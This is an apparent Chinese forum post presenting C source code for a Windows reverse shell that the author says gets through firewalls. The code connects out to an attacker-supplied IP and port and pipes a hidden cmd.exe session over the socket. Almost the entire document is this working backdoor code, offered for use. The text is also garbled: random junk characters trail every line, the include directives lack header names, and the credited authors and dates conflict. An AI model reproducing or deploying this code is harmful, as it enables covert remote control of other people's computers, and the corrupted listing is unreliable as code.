这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 {HrZ4xQnpV
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/* ============================== 5/@UVY9_
Rebound port in Windows NT uQ3[Jz`y
By wind,2006/7 6q/?-Qcy
===============================*/ h-QLV[^
#include lr3mE
#include E=w3=\JP
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#pragma comment(lib,"wsock32.lib") lm0N5(XP
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void OutputShell(); h"W8N+e\
SOCKET sClient; 5zB~4 u
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; -t-tn22
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void main(int argc,char **argv) 5v
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{ fZ{[]dn[
WSADATA stWsaData; |FNCXlgZ
int nRet; !#N\b
SOCKADDR_IN stSaiClient,stSaiServer; N#k61x
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if(argc != 3) Im?LIgt$
{ 'EhBRU%
printf("Useage:\n\rRebound DestIP DestPort\n"); L%h/OD
return; 'i|rjW(
} eV};9VJ$F
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WSAStartup(MAKEWORD(2,2),&stWsaData); >)**khuP7
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w0J|u'H
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stSaiClient.sin_family = AF_INET; Zv!{{XO2;
stSaiClient.sin_port = htons(0); ,r^"#C0J}
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); K=\O5#F?3
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) #&8rcu;/
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printf("Bind Socket Failed!\n"); iK;opA"
return; \RG!@$i
} Lx[
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stSaiServer.sin_family = AF_INET; cgT
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); s0"e'
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); u{e-G&]^;
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) o
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{ ^J/)6/TMXm
printf("Connect Error!"); zI;0&
return; WF2-$`x
} 4P8*k[.
OutputShell(); Jjm|9|C,
} l*=aMjd?
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void OutputShell() AMCyj`Ur
{ L>9R4:g
char szBuff[1024]; T)iW`vZg8
SECURITY_ATTRIBUTES stSecurityAttributes; S4o$t-9l
OSVERSIONINFO stOsversionInfo; =;L*<I
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; uGP(R=H
STARTUPINFO stStartupInfo; _aS;!6b8W
char *szShell; zJN7<sv
PROCESS_INFORMATION stProcessInformation; BlC<`2S
unsigned long lBytesRead; xL
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); , H
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); dJk9@u
stSecurityAttributes.lpSecurityDescriptor = 0; ;0%OB*lcgE
stSecurityAttributes.bInheritHandle = TRUE;
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); a2@c%i
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); WcUJhi^\C
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); \Y|*Nee}XP
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YTaLjITG
stStartupInfo.wShowWindow = SW_HIDE; R^&q-M=O[
stStartupInfo.hStdInput = hReadPipe; 8Cx^0
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 1Y j~fb(
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GetVersionEx(&stOsversionInfo); "&+3#D
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switch(stOsversionInfo.dwPlatformId) =d`5f@'rl
{ t*S."
q
case 1: hGTV;eU
szShell = "command.com"; Xl-e !
break; :l\V'=%9'@
default: :l u5Uu~
szShell = "cmd.exe"; *ZCn8m:-+
break; _2ef LjXQ
} $.E6S<(h
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); P ,mN >
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send(sClient,szMsg,77,0); 3R$Z[D-
while(1) 'Prxocxq
{ Ri*3ySyb
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); .?W5{U
if(lBytesRead) @z`@f"l
{ Z}6^ve
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); R
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send(sClient,szBuff,lBytesRead,0); xyh.N)
} $7Jo8^RE
else L@Nu/(pB=
{ LRb,VD:/Y
lBytesRead=recv(sClient,szBuff,1024,0); 4_?7&G0(
if(lBytesRead<=0) break; 'fd1Pj9~$
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); {p<Zbm.
} ()T[$.(
} gXFWxT8S
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return; |UnUG
}